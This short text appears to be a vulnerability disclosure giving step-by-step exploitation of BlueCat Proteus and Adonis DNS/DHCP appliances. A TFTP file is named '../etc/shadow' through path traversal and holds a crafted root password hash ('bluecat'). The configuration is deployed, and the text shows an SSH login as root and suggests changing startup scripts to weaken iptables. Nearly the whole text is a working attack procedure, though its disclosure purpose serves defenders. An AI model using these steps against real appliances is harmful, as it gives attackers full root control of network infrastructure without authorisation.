0) Create a new TFTP Group in a Proteus configuration. 1) Add a TFTP deployment role specifying an Adonis appliance to the group. 2) At the top-level folder in the new TFTP group, add a file named "../etc/shadow" (without the quotes) and load a file containing the following line: root:Im0Zgl8tnEq9Y:13637:0:99999:7::: NOTE: The sshd configuration uses the default setting 'PermitEmptyPasswords no', so we specify a password of bluecat. 3) Deploy the configuration to the Adonis appliance. 4) You can now login to the Adonis appliance as root with password bluecat. $ ssh root@192.168.1.11 root@192.168.1.11's password: # cat /etc/shadow root:Im0Zgl8tnEq9Y:13637:0:99999:7::: NOTE: This example assumes SSH is enabled, iptables permits port tcp/22, etc. Many attack variations are possible, such as changing system startup scripts to modify the iptables configuration on the appliance.